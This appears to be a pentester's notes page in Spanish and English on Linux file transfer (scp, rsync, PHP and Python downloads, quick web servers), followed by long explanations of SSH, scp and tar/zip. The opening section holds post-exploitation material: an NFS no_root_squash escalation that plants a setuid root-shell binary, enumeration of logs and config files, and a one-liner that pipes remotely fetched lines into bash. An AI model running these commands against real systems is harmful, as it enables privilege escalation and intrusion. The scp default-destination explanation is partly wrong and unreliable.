Transferencia de Archivos en Linux
Métodos para transferir archivos en Linux usando scp, rsync, PHP, Python, servidores web y FTP.
FileSystem
cat /etc/fstab
cat /etc/exports
mount
df -h
# Check for NFS no root squash on exports, can be escalated by mounting on local system and writing an suid binary as root, root privs are not squashed
showmount -e MACHINE_IP
mkdir /tmp/1
mount -o rw,vers=2 MACHINE_IP:/tmp /tmp/1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x
Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
VAR contents
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
HTTP ROOT / FTP ROOTs
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
Check Application logs for sensitive data
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
Transferencia de archivos Linux
ftp -4 -d -v ftp://offsec:offsec@127.0.0.1//linuxprichecker.py < ftp upload one liner linux
File transfer utilities:
scp file.txt 192.168.100.4:/home/bob/
# file transfer from local system to remote system
scp -r files 192.168.100.4:/home/bob/
# copy directory from local to remote
scp 192.168.100.4:/home/bob/remote-file.txt backup/
# copy file from remote to local
scp file.txt sally@192.168.100.4:/home/sally
# local to remote copy for specific user
# rsync only copies files from source to destination which have changed
# better than scp
rsync -avzh file.txt 192.168.100.4:/home/bob
# local to remote file transfer
# -a for archive, preserving directory, permissions
# -v for verbose, -z for compressing data
# -h for human readable output
PHP
# file_get_contents()
php -r '$file = file_get_contents("<URL>"); file_put_contents("<FILENAME>",$file);'
# fopen()
php -r 'const BUFFER = 1024; $fremote =
fopen("<URL>", "rb"); $flocal = fopen("<FILENAME>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
# php-curl
php -r '$rfile = "<URL>"; $lfile = "<FILENAME>"; $fp = fopen($lfile, "w+"); $ch = curl_init($rfile); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_exec($ch);'
## retrieve each line
php -r '$lines = @file("<URL>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Python2
python2 -c 'import urllib; urllib.urlretrieve("<URL>", "<FILENAME>")'
Python3
# Download HTTP
python3 -c 'import urllib.request; urllib.request.urlretrieve("<URL>", "<FILENAME>")'
# Host a FTP server
python3 -m pyftpdlib --user=<USERNAME> --password=<PASSWORD> -w
Obviously, other programming languages can be used such as
Web servers
# python2
python -m SimpleHTTPServer 8080
# python3
python3 -m http.server 8080
# ruby
ruby -run -ehttpd . -p8080
# php
php -S 0.0.0.0:8080
# socat
socat TCP-LISTEN:8080,reuseaddr,fork
Transferir archivos entre maquina virtual y host con la terminal
Parece que mencionaste "ssh". Si estás interesado en iniciar un servidor SSH (Secure Shell) utilizando systemctl, aquí te explico cómo hacerlo en sistemas basados en Linux, como Ubuntu, CentOS, Debian, etc.
Iniciar el servicio SSH
1. Instalar el servidor SSH si no está instalado
Lo primero es asegurarte de que el servidor SSH esté instalado. En la mayoría de las distribuciones Linux, el servidor SSH más común es OpenSSH. Puedes instalarlo si no está presente utilizando el gestor de paquetes de tu distribución.
En Ubuntu, Debian:
sudo apt update
sudo apt install openssh-server
En CentOS, Red Hat:
sudo yum install openssh-server
2. Verificar el estado del servicio SSH
Después de instalar OpenSSH, puedes verificar si el servicio está activo utilizando systemctl:
sudo systemctl status ssh
Este comando te mostrará el estado actual del servicio SSH, incluyendo si está activo o inactivo, y los registros de eventos recientes.
3. Iniciar, detener o reiniciar el servicio SSH
Si necesitas iniciar, detener o reiniciar el servicio SSH, puedes usar los siguientes comandos systemctl:
-
Iniciar el servicio SSH:
sudo systemctl start ssh -
Detener el servicio SSH:
sudo systemctl stop ssh -
Reiniciar el servicio SSH:
sudo systemctl restart ssh -
Habilitar el servicio SSH para que se inicie automáticamente al arrancar el sistema:
sudo systemctl enable ssh -
Deshabilitar el inicio automático del servicio SSH (no se iniciará al arrancar el sistema):
sudo systemctl disable ssh
4. Configuración adicional (opcional)
Si necesitas ajustar la configuración de SSH, puedes hacerlo editando el archivo de configuración principal de OpenSSH, que suele ser /etc/ssh/sshd_config. Recuerda reiniciar el servicio después de hacer cambios importantes en la configuración para que surtan efecto:
sudo systemctl restart ssh
Con estos pasos, deberías poder administrar el servicio SSH en tu sistema Linux utilizando systemctl de manera efectiva. Este servidor SSH te permitirá acceder de forma segura a tu sistema a través de la red utilizando un cliente SSH, como ssh en la línea de comandos o clientes gráficos.
Transferencia de archivos con scp
Para transferir archivos de manera segura utilizando SSH desde la terminal, puedes utilizar el comando scp (Secure Copy Protocol), que viene integrado con OpenSSH y está disponible en la mayoría de distribuciones Linux y sistemas Unix. Aquí te explico cómo usarlo:
Sintaxis básica de scp
La sintaxis general de scp es:
scp [opciones] origen destino
- Origen: La ruta del archivo o directorio que deseas copiar.
- Destino: La ubicación donde deseas copiar el archivo o directorio.
Ejemplos de uso común
Copiar un archivo desde tu computadora local a un servidor remoto
scp /ruta/al/archivo usuario@host:/ruta/destino/
- /ruta/al/archivo: Ruta completa del archivo en tu computadora local.
- usuario: Tu nombre de usuario en el servidor remoto.
- host: La dirección IP o nombre de dominio del servidor remoto.
- /ruta/destino/: Ruta en el servidor remoto donde deseas copiar el archivo.
Ejemplo real:
scp /home/usuario/archivo.txt usuario@192.168.1.100:/home/usuario/carpeta/
Copiar un archivo desde un servidor remoto a tu computadora local
scp usuario@host:/ruta/al/archivo /ruta/destino/local/
Ejemplo real:
scp usuario@192.168.1.100:/home/usuario/archivo.txt /home/usuario/descargas/
scp <ARCHIVO> oxrabbitsec@192.168.1.7:/home/oxrabbitsec
Opciones útiles de scp
- -r: Copia recursivamente directorios y sus contenidos.
- -P puerto: Especifica el puerto SSH (por defecto es el puerto 22).
- -v: Modo verbose, proporciona detalles sobre la transferencia.
- -i clave_privada: Especifica el archivo de clave privada para autenticación.
Ejemplos con opciones
Copiar un directorio de manera recursiva
scp -r /ruta/del/directorio usuario@host:/ruta/destino/
Especificar un puerto SSH diferente
scp -P 2222 /ruta/al/archivo usuario@host:/ruta/destino/
Usar una clave privada para la autenticación
scp -i ~/.ssh/clave_privada.pem /ruta/al/archivo usuario@host:/ruta/destino/
Notas adicionales
- Autenticación:
scputiliza autenticación SSH, por lo que necesitarás tener acceso SSH al servidor remoto y los permisos adecuados para leer/escribir en las ubicaciones especificadas. - Seguridad: Los datos transferidos están cifrados, lo que garantiza la seguridad durante la transferencia.
- Rendimiento:
scpno es óptimo para grandes cantidades de datos o transferencias frecuentes debido a su naturaleza sincrónica y de un solo hilo. Para transferencias más avanzadas y eficientes, considera herramientas comorsynco soluciones basadas ensshfs(SSH Filesystem).
Utilizando scp de esta manera, puedes transferir archivos de manera segura y eficiente entre tu computadora local y servidores remotos utilizando SSH desde la terminal.
Empaquetar antes de enviar
Para empaquetar archivos desde la terminal en sistemas Unix-like (Linux, macOS, etc.), puedes utilizar varias herramientas comunes como tar y zip, dependiendo de tus necesidades. Aquí te explico cómo usar cada una:
1. Empaquetar archivos con tar
tar (tape archive) es una herramienta muy versátil que se utiliza comúnmente en sistemas Unix para crear archivos de empaquetado y también para comprimirlos opcionalmente con compresión gzip (*.tar.gz o .tgz) o bzip2 (*.tar.bz2 o .tbz2).
Crear un archivo .tar
Para empaquetar archivos en un archivo .tar:
tar -cvf archivo.tar /ruta/a/tus/archivos
-c: Crear un nuevo archivo.-v: Modo verbose, muestra detalles de los archivos mientras se empaquetan.-f archivo.tar: Especifica el nombre del archivo.tarque se va a crear./ruta/a/tus/archivos: Ruta a los archivos o directorios que deseas empaquetar.
Crear un archivo .tar.gz (con compresión gzip)
Para empaquetar y comprimir los archivos en un archivo .tar.gz:
tar -czvf archivo.tar.gz /ruta/a/tus/archivos
-z: Usa compresión gzip.-c,-v,-f: Como se explicó anteriormente.
Crear un archivo .tar.bz2 (con compresión bzip2)
Para empaquetar y comprimir los archivos en un archivo .tar.bz2:
tar -cjvf archivo.tar.bz2 /ruta/a/tus/archivos
-j: Usa compresión bzip2.-c,-v,-f: Como se explicó anteriormente.
2. Empaquetar archivos con zip
zip es otra herramienta común para comprimir y empaquetar archivos en sistemas Unix y también en Windows. Puedes usar zip si necesitas compatibilidad con archivos .zip.
Crear un archivo .zip
Para empaquetar archivos en un archivo .zip:
zip -r archivo.zip /ruta/a/tus/archivos
-r: Empaqueta recursivamente los directorios y sus contenidos.archivo.zip: Nombre del archivo.zipque se va a crear./ruta/a/tus/archivos: Ruta a los archivos o directorios que deseas empaquetar.
Ejemplos de uso
Empaquetar y comprimir un directorio usando tar con gzip
tar -czvf mi_archivo.tar.gz /ruta/a/mi/directorio
Esto crea un archivo mi_archivo.tar.gz que contiene todos los archivos y directorios dentro de /ruta/a/mi/directorio, utilizando compresión gzip.
Empaquetar un directorio en un archivo .zip
zip -r mi_archivo.zip /ruta/a/mi/directorio
Esto crea un archivo mi_archivo.zip que contiene todos los archivos y directorios dentro de /ruta/a/mi/directorio, en un formato comprimido .zip.
Consideraciones adicionales
- Opciones adicionales: Puedes consultar la documentación de
taryzip(man taryman zip) para más opciones y detalles sobre su uso. - Rutas y nombres de archivos: Asegúrate de especificar correctamente las rutas y nombres de archivos/directorios para empaquetar.
- Compresión: La opción de compresión (
-zpara gzip entar,-jpara bzip2 entar, yzipautomáticamente comprime) ayuda a reducir el tamaño del archivo resultante, pero puede llevar más tiempo de procesamiento.
Con estas herramientas, puedes empaquetar y comprimir archivos y directorios desde la terminal de manera efectiva en sistemas Unix-like.
Que sucede al no especificar la ruta de destino en scp
Cuando utilizas el comando scp para copiar archivos y no especificas una ruta de destino completa, el comportamiento predeterminado depende de cómo se interprete la ruta parcial que proporcionas:
-
Ruta relativa al directorio de inicio del usuario remoto: Si proporcionas solo un nombre de directorio sin una ruta completa (por ejemplo,
carpeta/),scpcopiará los archivos al directorio de inicio del usuario remoto en el servidor. Esto significa que los archivos se copiarán a/home/usuario/carpeta/en el servidor remoto, dondeusuarioes el nombre de usuario con el que te has conectado al servidor. -
Ruta relativa al directorio actual del usuario remoto: Si proporcionas una ruta relativa que no comienza con
/(por ejemplo,documentos/),scpinterpretará esto como relativo al directorio actual del usuario remoto en el servidor. Por ejemplo, si estás en el directorio/home/usuario/en el servidor y copias archivos usandoscp documentos/ usuario@host:, los archivos se copiarán a/home/usuario/documentos/en el servidor remoto. -
Ruta absoluta en el servidor: Si especificas una ruta absoluta comenzando con
/(por ejemplo,/var/archivos/),scpcopiará los archivos a esa ruta exacta en el servidor remoto.
Ejemplo práctico
Supongamos que tienes un archivo llamado archivo.txt en tu computadora local y deseas copiarlo al servidor remoto sin especificar una ruta completa de destino:
scp archivo.txt usuario@host:
En este caso:
- Si
usuariotiene su directorio de inicio en/home/usuarioen el servidor remoto, el archivo se copiará a/home/usuario/en el servidor. - Si te encuentras actualmente en un directorio específico en el servidor, por ejemplo,
/var/www/, el archivo se copiará a/var/www/en el servidor.
Para evitar ambigüedades, es recomendable siempre especificar una ruta completa de destino al utilizar scp, especialmente cuando copias archivos a ubicaciones específicas en el servidor remoto. Esto asegura que los archivos se coloquen exactamente donde los necesitas sin depender de interpretaciones predeterminadas del sistema.